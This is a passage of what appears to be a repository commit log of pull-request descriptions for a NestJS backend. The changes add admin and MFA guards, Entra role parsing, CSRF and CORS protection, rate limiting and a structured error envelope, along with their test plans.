No code duplicated between the two surfaces — the only per-surface differences are the redirect URIs (passed in) and the cookie names cleared on logout (controller-local).

### Entra config gains two URIs

`EntraConfig` adds `adminRedirectUri` + `adminPostLogoutRedirectUri`, validated at boot in [check-entra-config.ts](apps/portal-bff/src/config/check-entra-config.ts). The validator **refuses to start** when `ENTRA_ADMIN_REDIRECT_URI === ENTRA_REDIRECT_URI` — that misconfiguration would silently collapse the two surfaces into one session. Both URIs must be registered on the same Entra app registration's "Redirect URIs" list.

### `AuthService` API change

`beginAuthCodeFlow(redirectUri)`, `completeAuthCodeFlow(code, state, preAuth, redirectUri, now?)`, and `buildLogoutUrl(postLogoutRedirectUri)` now take their URI as a parameter. Callers (user-portal vs admin-portal controllers) pick which set to pass.

## Required ops action before this PR can run locally

Two new mandatory env vars. The BFF refuses to start without them.

```env
ENTRA_ADMIN_REDIRECT_URI=http://localhost:3000/api/admin/auth/callback
ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI=http://localhost:4201/
```

The example values land in [apps/portal-bff/.env.example](apps/portal-bff/.env.example) for reference. The corresponding Entra app registration also needs `/api/admin/auth/callback` added to its "Redirect URIs" list before any admin sign-in works end-to-end.

## Notes for the reviewer

- The user-portal callback's post-login redirect still targets `postLogoutRedirectUri` (existing quirk where the post-auth and post-logout landing happen to be the same URL). The admin callback mirrors the pattern for `adminPostLogoutRedirectUri`. Splitting these into dedicated post-login URIs is a separate ADR/PR.
- `AdminModule` now imports `AuthModule` to consume `AuthService`, `SessionEstablisher`, and `ENTRA_CONFIG`. `AuditWriter` and `RequireMfaGuard` come through transitively.
- Existing `AuthController` spec assertions are preserved through the refactor by constructing a **real** `SessionEstablisher` in the test fixture with the same audit / index / logger mocks. No behavioural assertion was removed — the inline session-state-setting logic is now exercised through the establisher.
- The pre-existing docstring in `check-entra-config.ts` line 11-16 still says "the two redirect URIs are mandatory once the OIDC routes ship (next PR)" — stale, the routes have shipped. Not touched in this PR to keep the diff focused; can be a one-line doc PR later.

## Test plan

- [x] `pnpm nx test portal-bff` — **278 specs pass** (was 253; +25: admin cookie 3, session-establisher 11, admin auth controller 9, entra config 2).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing `_res` / `_next` warnings in `rate-limit.middleware.ts` are unrelated).
- [x] Entra config validator: both URIs required, both URL-validated, equality refused.
- [x] Path-dispatch verified by routing — `/api/admin/me` and `/api/admin/auth/*` see the admin session; everything else sees the user session.
- [ ] e2e — pending env var update + Entra registration update to add the admin redirect URI. Once both are in place: sign in via `/api/auth/login`, see `portal_session` cookie; clear cookies; sign in via `/api/admin/auth/login`, see `portal_admin_session` cookie; verify `/api/admin/me` works on the admin session and `/api/auth/me` works on the user session — neither sees the other's session.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #129
2026-05-14 02:21:47 +02:00
julien d51ccebe6a feat(portal-bff): @RequireMfa decorator + freshness guard (ADR-0011) (#128)
CI / check (push) Successful in 2m24s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m10s
CI / a11y (push) Successful in 1m11s
CI / perf (push) Successful in 4m0s
## Summary

Third step in the `portal-admin` audit-log-viewer workstream — ships the `@RequireMfa({ freshness })` decorator + guard called out in [ADR-0011](docs/decisions/0011-mfa-enforcement-entra-conditional-access.md) and referenced as the gate on the admin entry route in [ADR-0020](docs/decisions/0020-portal-admin-app.md). Designed-in, dormant: no v1 route uses the decorator yet. First consumer will be the admin entry route once the distinct admin session lands (next PR).

## What ships

- **[`auth/mfa.ts`](apps/portal-bff/src/auth/mfa.ts)** — `MFA_AMR_VALUES = ['mfa', 'otp', 'fido', 'wia', 'phr']` allow-list and `wasMultiFactor(amr): boolean`. The list mirrors ADR-0011 §"BFF verification"; the spec pins it so an ad-hoc edit can't bypass review.
- **[`config/check-mfa-config.ts`](apps/portal-bff/src/config/check-mfa-config.ts)** — `readMfaConfig()` reads `MFA_FRESHNESS_SECONDS` (default **600 s**, minimum **60 s**). Anything below the floor throws at boot — the floor catches a misconfigured "MFA on every navigation" before the BFF starts.
- **[`auth/require-mfa.guard.ts`](apps/portal-bff/src/auth/require-mfa.guard.ts)** — four branches:

  | Branch | HTTP | Code | Audit |
  | --- | --- | --- | --- |
  | No session | 401 | `unauthenticated` | none (noise) |
  | Session, no MFA-class `amr` | 401 | `mfa_required` | `auth.mfa_required reason=no-mfa-in-amr` |
  | Session, no `mfaVerifiedAt` | 401 | `mfa_required` | `auth.mfa_required reason=no-mfa-verified-at` |
  | Session, stale `mfaVerifiedAt` | 401 | `mfa_required` | `auth.mfa_required reason=mfa-stale, mfaAgeMs=…` |

  The `reason` discriminator is **not** surfaced over the wire — only the audit row carries it. An attacker probing for "stale vs no-MFA" can't distinguish the two from the response.

- **[`auth/require-mfa.decorator.ts`](apps/portal-bff/src/auth/require-mfa.decorator.ts)** — `@RequireMfa({ freshness? })` built via `applyDecorators(SetMetadata, UseGuards)`. The per-route `freshness` override wins over the env default. Designed to compose with `@RequireAdmin()` — apply `@RequireMfa` outside `@RequireAdmin` so the freshness gate runs only after role is established.
- **[`AuditWriter.mfaRequired()`](apps/portal-bff/src/audit/audit.service.ts)** — new typed method using `outcome=denied`, captures `reason`, `freshnessSeconds`, and `mfaAgeMs` (when applicable) in the JSONB payload.
- **`session.mfaVerifiedAt: number`** — augmented onto `express-session`'s `SessionData` in [`session.types.ts`](apps/portal-bff/src/session/session.types.ts). Set to `Date.now()` at sign-in by the callback ([`auth.controller.ts`](apps/portal-bff/src/auth/auth.controller.ts)). Entra's CA policy is the authority on whether MFA actually happened; the BFF stamps "now" when persisting a session whose `amr` reflects MFA.

## Deferred — for the SPA-interceptor PR

ADR-0011 §"Step-up MFA — designed-in" step 2 calls for a `WWW-Authenticate` header carrying a **claims challenge** (MSAL-produced blob) on the 401. That requires:

1. MSAL Node integration to mint the challenge — adds wire-format coupling to MSAL we don't have anywhere else yet.
2. The Angular SPA interceptor to consume the header, redirect to `/auth/login?claims=…`, and retry the original request.

Neither side has a consumer in this PR. Shipping a `code: 'mfa_required'` in the structured envelope is sufficient signalling for the SPA interceptor once it lands — the interceptor PR can layer the `WWW-Authenticate` header and the MSAL claims blob without changing the guard's audit contract.

## Composability with `@RequireAdmin`

The admin entry route (next-PR consumer) will read:

```ts
@Controller('admin')
@RequireMfa({ freshness: 600 })
@RequireAdmin()
export class AdminController { … }
```

Apply order matters — Nest runs guards in the order their decorators were applied (innermost first). Putting `@RequireMfa()` outside `@RequireAdmin()` means a non-admin user gets a clean 403 from `AdminRoleGuard` without a spurious `auth.mfa_required` audit row. The decorator's JSDoc spells this out for future consumers.

## Notes for the reviewer

- The `RequireMfaGuard` is registered as a provider in `AuthModule` and re-exported. Per the existing convention ("`AuthModule` stays non-global; modules state 'I depend on auth' by importing it"), any future module using `@RequireMfa()` will need to `imports: [AuthModule]`. The `AdminModule` already does this transitively via shared `AuditWriter`; the explicit import will follow when the decorator is first applied.
- `mfaChallenge(reason)` takes the reason argument deliberately even though it ignores it in the response — keeps the call sites readable (`throw this.mfaChallenge('mfa-stale')`) and parks a hook for the day we want to localise / differentiate the message.
- New env var `MFA_FRESHNESS_SECONDS` is **optional** (default 600). No production env change is required to ship this PR.

## Test plan

- [x] `pnpm nx test portal-bff` — **251 specs pass** (was 214; +37 covering helpers, config reader, guard branches, audit typed method, callback stamp).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing `_res` / `_next` warnings in `rate-limit.middleware.ts` are unrelated).
- [x] `MFA_FRESHNESS_SECONDS` boot validator: default + valid + below-floor + non-integer + decimal + non-numeric all covered.
- [x] Guard timing-boundary cases covered (age == freshness passes; age == freshness + 1 ms fails — implicitly via the 700-s-vs-600-s test).
- [ ] e2e — pending real Entra session with `amr` carrying an MFA token. Will be exercised when the admin entry route applies the decorator.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #128
2026-05-14 01:34:45 +02:00
julien 3ed6dae3a5 feat(portal-bff): admin module + role guard + /api/admin/me self-test (#127)
CI / scan (push) Successful in 2m36s
CI / commits (push) Has been skipped
CI / check (push) Successful in 4m0s
CI / a11y (push) Successful in 2m2s
CI / perf (push) Successful in 3m53s
## Summary

Lays the foundation for the `/api/admin/*` surface per [ADR-0020](docs/decisions/0020-portal-admin-app.md). This PR ships the role guard, the `@RequireAdmin()` decorator, and a self-test endpoint — no business routes yet. The next consumer (audit log viewer) lands in a later PR once the distinct admin session is in place.

## What ships

- **[AdminRoleGuard](apps/portal-bff/src/admin/admin-role.guard.ts)** — three branches:
  - No session at all → **401**. No audit; unauthenticated probes are normal traffic, not a privilege-escalation signal.
  - Session but `roles` lacks `admin` → **403** + `admin.access_denied` audit row with actor hash, attempted route (`${METHOD} ${originalUrl}`), and the roles the user did hold.
  - Session with `admin` role → pass through.
  - Audit-write failures propagate (no audit ⇒ no action, consistent with the existing call sites in [AuthController](apps/portal-bff/src/auth/auth.controller.ts)).
- **[`@RequireAdmin()`](apps/portal-bff/src/admin/require-admin.decorator.ts)** — semantic sugar for `@UseGuards(AdminRoleGuard)` built with `applyDecorators` so future composition (e.g. with the upcoming `@RequireMfa({ freshness })` for the admin entry route) is mechanical.
- **`GET /api/admin/me`** — self-test endpoint named in ADR-0020 §"Confirmation" step 3. Returns the public user payload + `roles` so ops can `curl` the gate with three sessions (no cookie / non-admin cookie / admin cookie) and observe `401` / `403` + audit / `200` respectively.
- **[`AuditWriter.adminAccessDenied()`](apps/portal-bff/src/audit/audit.service.ts)** — new typed method using the pre-existing `denied` outcome enum value. Keeps the salt inside the audit module, matches the pattern of `signIn` / `signOut` / `sessionExpired`.

## Why the shared portal-shell session (for now)

ADR-0020 mandates a distinct `__Host-portal_admin_session` cookie + Redis namespace `session:admin:*` for the admin app. **That is not in this PR.** The chantier sequence splits it out: this PR proves the guard semantics + audit integration on the existing session; the next PR introduces the distinct session middleware + admin-specific auth flow.

Rationale: the guard logic is independent of the session implementation — `session.user.roles` is the only field it reads. Landing it first means a smaller diff to review, a faster opportunity to validate the audit emission on a real Postgres, and a clean baseline to layer the session split onto.

## Notes for the reviewer

- The non-null assertion on `req.session.user!` in [admin.controller.ts:27](apps/portal-bff/src/admin/admin.controller.ts#L27) is explicitly disabled with an inline comment pointing at the guard's contract. The alternative (a defensive runtime check) duplicates the guard's logic without adding safety. The spec for the guard covers every branch including the absent-user path.
- `AdminController` does not depend on `AuthService`'s `toPublicUser` projection — that helper is private to the auth module and pulls `displayName` / `username` with extra account-object fallbacks specific to the OIDC callback. The admin response is built from the already-populated session, so a duplicated projection here is the simpler shape.

## Open questions (out of scope)

- The Entra app role `admin` must be **declared on the app registration manifest** and **assigned to at least one test user** before this gate can be exercised end-to-end. That's an Entra Admin Center operation, not code. The guard's behaviour under all three branches is covered by unit tests; e2e validation waits until the role is assigned.

## Test plan

- [x] `pnpm nx test portal-bff` — **214 specs pass** (was 203; +11 covering guard branches, controller projection, audit method).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing `_res` / `_next` warnings in `rate-limit.middleware.ts` are unrelated).
- [x] Audit row schema verified — `admin.access_denied` events use `outcome=denied`, store the route in `subject`, and persist `{ rolesHeld: [...] }` in the JSONB payload.
- [ ] e2e — pending Entra role declaration + assignment. Will be covered by manual ops curl checks once the role exists.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #127
2026-05-14 01:17:30 +02:00
julien f9f0151717 feat(portal-bff): extract Entra roles claim onto AuthenticatedUser (#126)
CI / check (push) Successful in 2m32s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m14s
CI / a11y (push) Successful in 1m8s
CI / perf (push) Successful in 3m59s
## Summary

First step in the `portal-admin` audit-log-viewer workstream (per [ADR-0020](docs/decisions/0020-portal-admin-app.md)). The BFF's `AdminRoleGuard` (next PR) needs to read `session.user.roles` to enforce admin-only access to `/api/admin/*`. Today the session carries `{ oid, tid, username, displayName, amr }` — the `roles` claim is dropped on the floor when the ID token comes back from Entra.

This PR closes that gap:

- Adds `roles: readonly string[]` to [AuthenticatedUser](apps/portal-bff/src/auth/auth.service.ts) and threads it through `toAuthenticatedUser()`.
- The field flows onto `req.session.user` automatically via the existing module-augmentation chain in [session.types.ts](apps/portal-bff/src/session/session.types.ts) — no extra wiring.

## Defensive parsing

Mirrors the existing `amr` extraction pattern:

| Input claim shape | Result |
| --- | --- |
| `["admin", "editor"]` | `["admin", "editor"]` |
| Claim absent | `[]` |
| Non-array (e.g. `"admin"`) | `[]` |
| Mixed types (e.g. `["admin", 42, null, "editor"]`) | `["admin", "editor"]` |

Empty array means **"user has no app role assigned"**, not **"claim was unparseable"** — both collapse to the same value because both are equally non-authoritative for the admin guard.

## Why this is its own PR

The `AdminRoleGuard` + `@RequireAdmin()` decorator + first `/api/admin/me` self-test endpoint will follow in the next PR. Splitting the claim extraction out makes both diffs trivial to read and lets the second PR focus on guard semantics + audit emission without the mechanical fixture updates that came with adding a new `AuthenticatedUser` field.

## Surface impact — none yet

- `PublicUser` (the SPA-facing shape returned by `GET /api/auth/me`) is **deliberately unchanged**. Exposing `roles` to the SPA happens in the next PR alongside the conditional admin-link rendering — without a consumer in this PR it would be dead code.
- Audit pipeline unchanged. `SignInActor` carries `{ oid, amr }` only; the audit log doesn't need `roles` and won't get it.
- No new env vars, no new dependencies.

## Test plan

- [x] `pnpm nx test portal-bff` — **203 specs pass** (was 199; +4 new specs covering the four parsing cases above).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing `_res` / `_next` warnings in `rate-limit.middleware.ts` are unrelated).
- [x] Existing fixtures in [auth.controller.spec.ts](apps/portal-bff/src/auth/auth.controller.spec.ts), [auth.service.spec.ts](apps/portal-bff/src/auth/auth.service.spec.ts), [absolute-timeout.middleware.spec.ts](apps/portal-bff/src/session/absolute-timeout.middleware.spec.ts) updated with `roles: []`.
- [ ] e2e — would require the `admin` app role to be declared on the Entra registration and assigned to a test user. Out of scope for this PR; will be validated when the `AdminRoleGuard` lands and there is a 403 to observe.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #126
2026-05-14 00:30:37 +02:00
julien 6a6bf90e7f docs: refresh CLAUDE.md "Repository status" section (#125)
CI / check (push) Successful in 2m18s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m19s
CI / a11y (push) Successful in 1m5s
CI / perf (push) Successful in 3m56s
## Summary

The "Repository status" section in [CLAUDE.md](CLAUDE.md) was frozen at the pre-bootstrap state. It claimed the Nx workspace was "not yet bootstrapped", referenced ADRs only up to 0020, told future contributors that "the next step is to scaffold the workspace", and instructed agents to verify workspace existence before running build/test/run commands — all obsolete since phase-1 was shipped.

This PR rewrites the section to match reality:

- The workspace is **operational**: three apps (`portal-shell`, `portal-admin`, `portal-bff`) and four lib roots (`libs/feature/`, `libs/shared/state`, `libs/shared/tokens`, `libs/shared/ui`, `libs/shared/util`) are in place. CI runs `format:check / lint / test / build` on every PR.
- Lists what's **shipped on `main`** — phase-1 foundation, phase-2 auth + audit + security (with the right ADR citations).
- Lists what's **still on the roadmap** — `DownstreamApiClient` + OBO (ADR-0014, no v1 consumer yet), `@RequireMfa()` / `@RequireAdmin()` guards (designed-in but no consumer).
- **Disambiguates** the two distinct security ADRs: [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md) is the implementation-level baseline (helmet, CORS, CSRF, rate-limit, error envelope) — **accepted**. The strategic security baseline ADR (OWASP ASVS reference level, HDS / GDPR / NIS 2 framing, RSSI sign-off) remains **paused** — when it lands it will either confirm 0021 or supersede pieces of it.

No code or behavior changes. Documentation only.

## Why this is its own PR

The stale paragraph has been there since ADR-0021 was being written; both ADR-0021 (in its PR description) and `notes/handoff.md` flagged it for a dedicated docs PR rather than piggybacking on a code change. Keeping it isolated makes the diff trivially reviewable and avoids mixing documentation refreshes with implementation changes.

## Test plan

- [x] `pnpm exec prettier --check CLAUDE.md` — clean.
- [x] Section content cross-referenced with `ls apps/`, `ls libs/feature libs/shared`, `ls docs/decisions/` — workspace structure, lib layout, and ADR count match the rewritten claims.
- [x] All ADR links in the rewritten section resolve (0011, 0014, 0020, 0021).
- [x] Conventional Commits — `docs:` type.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #125
2026-05-14 00:12:46 +02:00
julien da2bd6d481 docs(adr-0021): phase-2 security baseline (helmet, CORS, CSRF, rate-limit, error envelope) (#124)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m12s
CI / check (push) Successful in 2m22s
CI / a11y (push) Successful in 49s
CI / perf (push) Successful in 3m48s
## Summary

Documents the security middleware stack shipped across the five most recent BFF PRs (#115, #117, #120, #122, #123) as a single MADR ADR. Today the rationale for each choice lives in code comments and PR descriptions; the next contributor reaching for `csurf`, a cookie-only CSRF, or a hardcoded localhost CORS fallback won't have a single place to read why those are wrong here.

ADR-0021 covers:

- **Response envelope** — `{ error: { code, message, traceId } }`, single contract shared between Nest's `StructuredErrorFilter` and raw Express middlewares (CSRF, rate-limit) via the exported `errorResponse()` helper. Status code → code mapping documented. 500s never leak the underlying exception.
- **CSRF — session-bound double-submit**, not pure cookie-vs-header. Rationale: a subdomain-takeover cookie injection can't bypass the comparison because the source of truth is the server-side session token, not the cookie. Cookie is the SPA's read-only mirror.
- **CORS allowlist** — `CORS_ALLOWED_ORIGINS` mandatory at boot, no fallback. "Works in dev, breaks in prod" is the exact trap the validator catches.
- **Rate limiting** — buckets keyed by session id (auth) or IP (anonymous), 10/min on `/auth/login` + `/auth/callback`, 120/min general, `/api/health` skipped. In-memory v1 store; Redis-backed migration is one constructor arg.
- **Helmet config** — defaults plus three overrides (HSTS prod-only, `crossOriginResourcePolicy: cross-origin`, CSP prod-only). Each override has a code-anchored justification.

## Scope

This is the **implementation-level** security ADR. The **strategic** security baseline ADR — OWASP ASVS reference level, HDS / GDPR / NIS 2 framing, RSSI sign-off — remains paused per the note in [CLAUDE.md](CLAUDE.md). When that ADR lands it'll either confirm 0021 or supersede pieces of it; 0021 is explicit about which choices are tactical and revisitable.

## Notable structural choices in the ADR

- **"Considered Options" mirrors the actual debate.** For CSRF: session-bound vs pure double-submit vs `csurf` vs synchronizer. For rate-limit bucket key: sessionID-then-IP vs IP-only vs Entra `oid`. Each rejected option has its "Bad, because …" so the reader sees why we didn't go that way.
- **Each "Decision Outcome" line points at the file / function that enforces it.** Cross-references are absolute paths so they survive folder reorgs.
- **The "Consequences" section is brutally honest about trade-offs.** In-memory rate-limit doesn't scale horizontally. The CSRF cookie is XSS-readable. No `details` field in the envelope for field-level validation errors yet. These aren't hidden in the prose.

## Other doc touches

- [docs/decisions/README.md](docs/decisions/README.md) index entry added.
- [notes/handoff.md](notes/handoff.md) refreshed (gitignored; not part of the commit but useful for the next session).

## Noted for a separate PR (out of scope here)

[CLAUDE.md](CLAUDE.md) §"Repository status" still says "The Nx workspace is **not yet bootstrapped**" and refs ADRs up to 0020. The whole paragraph is stale (the project is fully scaffolded, 22 ADRs in place). Worth a small dedicated docs PR.

## Test plan

- [x] `pnpm exec prettier --check docs/decisions/` → clean.
- [x] ADR follows the MADR 4.0.0 template (frontmatter with `status`, `date`, `decision-makers`, `tags`; sections in the canonical order).
- [x] Tags drawn from the vocabulary in [docs/decisions/README.md](docs/decisions/README.md#tag-vocabulary): `security`, `backend`.
- [x] Index in `docs/decisions/README.md` updated in the same change.
- [x] Cross-references to ADRs 0009, 0010, 0012, 0015 verified.
- [ ] Renders in Gitea / IDE markdown preview without parser warnings.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #124
2026-05-13 23:54:45 +02:00
julien 0e6c114ba7 feat(portal-bff): rate limiting + structured error filter (#123)
CI / scan (push) Successful in 1m42s
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m59s
CI / a11y (push) Successful in 55s
CI / perf (push) Successful in 2m43s
## Summary

Closes the phase-2 hardening list that `main.ts` has been advertising since the security PR (#122). Two new middlewares + one alignment pass on the response shape so every BFF error follows a single contract.

### Structured error filter

A global `ExceptionFilter` (registered via `app.useGlobalFilters(...)` at the top of `bootstrap()`) normalises every 4xx/5xx response to a single envelope :

```json
{
  "error": {
    "code": "csrf",
    "message": "CSRF token missing or invalid",
    "traceId": "abc123…"
  }
}
```

- `code` — stable token the SPA can `switch` on. Either explicit on the `HttpException`'s response object (`new UnauthorizedException({ code: 'unauthenticated', message: '...' })`) or derived from the status (`STATUS_CODE_MAP` for the common cases, `'http_error'` fallback). 500s always use `'internal'`.
- `message` — safe human-readable text. **500s never leak the underlying exception** (the full message + stack go to the Pino `error` log line as `err: exception` — Pino's stack-serialiser does the rest).
- `traceId` — current OTel trace id (or `null` when no span is active). Makes cross-correlation with the audit log + Pino lines trivial.

An exported `errorResponse(code, message)` helper produces the same envelope for code paths that write the response directly (raw Express middlewares like the CSRF one, the rate-limit handler) — single contract everywhere.

### Rate limiting

`express-rate-limit` mounted after the session middleware:

- **Dynamic max per request**: 10/min on `/api/auth/login` + `/api/auth/callback` (`RATE_LIMIT_AUTH_PER_MINUTE` env), 120/min everywhere else (`RATE_LIMIT_PER_MINUTE`).
- **Bucket key** = session id when the request carries an active session, remote IP otherwise. A single attacker can't dodge the limit by rotating sessions; an authenticated user gets per-account fairness regardless of source IP.
- **`/api/health` is skipped** so orchestrator polls don't burn the user quota.
- 429 response uses the same envelope as everything else (`{ error: { code: 'rate_limited', … } }`) via the shared `errorResponse()` helper.
- In-memory store (single-instance v1 per ADR-0015). Redis-backed store is a one-line config change when we scale out.

### Alignment pass

- **CSRF middleware** previously returned `{ error: 'csrf' }`. Now returns the full envelope via `errorResponse('csrf', 'CSRF token missing or invalid')`.
- **`/auth/me` 401** previously wrote `{ error: 'unauthenticated' }` directly. Now throws `UnauthorizedException({ code: 'unauthenticated', message: 'Unauthenticated' })` so the filter formats it. Identical response shape on the wire as the CSRF path.

Both spec assertions updated to the new shape.

### Type-resolution fix (transitive)

`@types/express@4.17.25` was being pulled in transitively by `http-proxy-middleware` (Nx's webpack-dev-server). `express-rate-limit`'s `.d.ts` files import `'express'` and the type resolver was matching the v4 copy, causing `Request` type mismatches with our v5-based code. Added `"@types/express": "^5.0.6"` to `pnpm.overrides` so the workspace pins a single version everywhere.

## Notable choices

**`StructuredErrorFilter` is the source of truth, but raw middlewares are still allowed to write responses directly** (rate-limit, CSRF). The reason: Nest's filter chain only handles exceptions thrown from controllers/guards/interceptors. Express middleware short-circuits before that. Both paths now use the same envelope shape through the `errorResponse()` helper.

**No `traceId` in non-5xx responses?** It IS included. The filter writes it on every status — useful for any client-server debugging conversation ("send me your traceId from the 403 you got").

**500s strip the exception message.** Even if a developer accidentally surfaces a sensitive detail via `throw new Error('connection to postgres://user:secret@host failed')`, the response body just says "Internal server error". The full message goes to the log — visible to ops, never to clients. This is the standard secure-by-default for unhandled errors.

**Dynamic `max` per request, not two separate `rateLimit()` instances.** Two instances would each maintain a separate store, so the `/auth/login` bucket would be independent of the general one for the same IP. A single instance with a path-conditional max gives consistent bucket accounting.

## Out of scope

- Redis-backed rate-limit store. v1 ships in-memory; the BFF runs as a single instance. The migration is `new RedisStore({ ... })` when we scale out (ADR-0015 mentions this).
- Per-user override of `RATE_LIMIT_PER_MINUTE` (e.g. admins / service accounts with higher quotas). No code path for this in v1.
- CSP fine-tuning for portal-shell + portal-admin once Caddy serves them.

## Test plan

- [x] `pnpm nx test portal-bff` (clean env) → **199/199 pass** (+25 specs: StructuredErrorFilter, rate-limit middleware, CSRF + /me alignments).
- [x] `pnpm nx test feature-auth` (clean env) → **28/28 pass**.
- [x] `pnpm nx test portal-shell` (clean env) → **34/34 pass**.
- [x] `pnpm nx run-many -t lint build --projects=portal-bff,feature-auth,portal-shell` → clean.
- [x] Prettier-clean.
- [x] CI clean-env repro: every env var unset (including new `RATE_LIMIT_*`) → 261/261 pass.
- [ ] Manual smoke against running BFF:
  - [ ] Throw any error from a controller → response is `{ error: { code, message, traceId } }`. Pino log has the full exception under `err`.
  - [ ] Curl `/api/auth/me` without a session cookie → 401 + same envelope, `code: 'unauthenticated'`.
  - [ ] Hit `/api/auth/login` 11 times in a minute → 11th returns 429 + `code: 'rate_limited'`. `/api/health` hit 100 times → all 200.
  - [ ] POST without `X-CSRF-Token` → 403 + `code: 'csrf'`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #123
2026-05-13 21:34:33 +02:00
julien 5bbe2304ff feat(portal-bff): helmet + env-driven CORS allowlist + double-submit CSRF (#122)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m10s
CI / check (push) Successful in 3m16s
CI / a11y (push) Successful in 1m6s
CI / perf (push) Successful in 4m16s
## Summary

Phase-2 security baseline that the `main.ts` placeholder note has been advertising since the auth/session work began. Three independent middlewares + their SPA counterparts, all mounted in a single PR because they only become meaningful together.

### Helmet on the BFF

`helmet()` with three overrides matching our specific shape:

- **HSTS only in production** — dev runs on plain HTTP, HSTS is just noise.
- **`crossOriginResourcePolicy: 'cross-origin'`** — the SPA on its own origin reads JSON from the BFF; the default `same-origin` would block it.
- **CSP disabled in non-production** — the BFF doesn't render HTML, so CSP on JSON responses is mostly inert, but Helmet's default CSP triggers noisy `connect-src` violations in browser devtools that we don't need.

Everything else is Helmet defaults: `X-Frame-Options=SAMEORIGIN`, `X-Content-Type-Options=nosniff`, `Referrer-Policy=no-referrer`, `X-Powered-By` removed, etc.

### CORS allowlist, env-driven

`CORS_ALLOWED_ORIGINS` env (comma-separated) is now **mandatory** at boot. The BFF refuses to start without it via `readCorsAllowlist()` — same boot-time validator family as `assertSessionSecret` etc. The previous hardcoded `http://localhost:4200` fallback is gone; getting CORS wrong silently is the kind of "works in dev, breaks in prod" trap the validator is specifically designed to catch. `X-CSRF-Token` is now in the allowed headers.

### Double-submit CSRF

- BFF mints a 256-bit `csrfToken` at session creation (`/auth/callback`), stored on `req.session.csrfToken` and mirrored to a JS-readable cookie (`__Host-portal_csrf` prod / `portal_csrf` dev). The cookie is the SPA's read-only view; the server-side session is the source of truth.
- `createCsrfMiddleware` (mounted after the session middleware in `main.ts`) compares the `X-CSRF-Token` header with `req.session.csrfToken` using `crypto.timingSafeEqual`. Skips:
  - safe methods (`GET / HEAD / OPTIONS`),
  - anonymous requests (no `req.session.user`),
  - `/api/auth/login` and `/api/auth/callback` (those mint the token themselves).
- Mismatch → `403 {"error":"csrf"}` with a structured Pino warn.
- SPA's `csrfInterceptor` reads the cookie via `document.cookie` and copies its value into `X-CSRF-Token` on every mutating BFF request. The header is omitted on `GET / HEAD / OPTIONS` (BFF skips them anyway) and on non-BFF origins.
- Logout and the absolute-timeout middleware both clear the CSRF cookie alongside the session cookie.

## Notable choices

**Session-bound double-submit, not pure cookie-vs-header.** A naive "compare cookie with header" check is defeated when an attacker can plant a cookie (subdomain takeover, etc.). Comparing the header to the server-side session-stored token instead means the attacker would also need to be the authenticated user — which is what CSRF defense is supposed to prevent in the first place.

**No CSRF for anonymous mutating routes (v1).** None exist today; we don't have an unauthenticated POST endpoint anywhere. Generating a CSRF token for anonymous sessions would conflict with `saveUninitialized: false` on express-session and add complexity we don't need yet. Anonymous public-form CSRF defenses (site-key, captcha) land if and when those routes ship.

**`SameSite=Lax`, not `Strict`, on the CSRF cookie.** Matches the session cookie's policy so the two travel together on the SPA→BFF cross-origin same-site fetch (different ports = different origin, same registrable domain). The double-submit pattern is what gives the protection; `SameSite=Lax` is a belt-and-braces layer.

**`csrfInterceptor` runs after `bffCredentialsInterceptor` and before `bffUnauthorizedInterceptor` in the chain.** Order: credentials first (set `withCredentials`), then CSRF (set the header), then unauthorized handling (catch 401s). Forward order, no surprises.

**`CORS_ALLOWED_ORIGINS` has no localhost fallback.** I considered keeping the fallback for ergonomics but it makes the BFF silently misconfigured if someone forgets the env. The error message points straight at the file to edit.

## Out of scope (next PRs)

- Rate limiting + structured error filter (still in the phase-2 to-do).
- CSP fine-tuning when we have actual HTML pages (portal-shell + portal-admin static serving).
- CSRF token rotation on idle-extension (today the token lives the session's lifetime; refreshing on each request would invalidate in-flight mutations).

## Test plan

- [x] `pnpm nx run-many -t test --projects=portal-bff,feature-auth,portal-shell` clean env → **177 + 28 + 34 = 239/239 pass** (was 144 + 19 + 34 = 197 before; +42 specs across CSRF middleware, CSRF cookie helpers, CORS allowlist parser, csrfInterceptor, and extended auth.controller / absolute-timeout coverage).
- [x] `pnpm nx run-many -t lint build --projects=portal-bff,feature-auth,portal-shell` → clean.
- [x] **CI clean-env repro** (lesson from prior PRs): every env var unset (including new `CORS_ALLOWED_ORIGINS`) → tests still pass. The BFF refuses to boot without `CORS_ALLOWED_ORIGINS`, which is the intended behaviour.
- [x] Prettier-clean.
- [ ] Manual smoke against running BFF:
  - [ ] Sign in → `__Host-portal_csrf` (prod) / `portal_csrf` (dev) cookie set, value matches `audit.events.payload->>actorIdHash`-style traceability via `req.session.csrfToken` in Redis.
  - [ ] Hit a future POST route from the SPA → request carries `X-CSRF-Token`, BFF accepts.
  - [ ] Forge a POST without the header (curl) → 403 `{"error":"csrf"}`.
  - [ ] Sign out → both cookies cleared.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #122
2026-05-13 20:50:44 +02:00
julien a97be121e6 fix(portal-bff): audit writes use raw INSERT (audit_writer has no SELECT for RETURNING) (#121)
CI / check (push) Successful in 2m16s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m29s
CI / a11y (push) Successful in 1m20s
CI / perf (push) Successful in 3m30s
## Summary

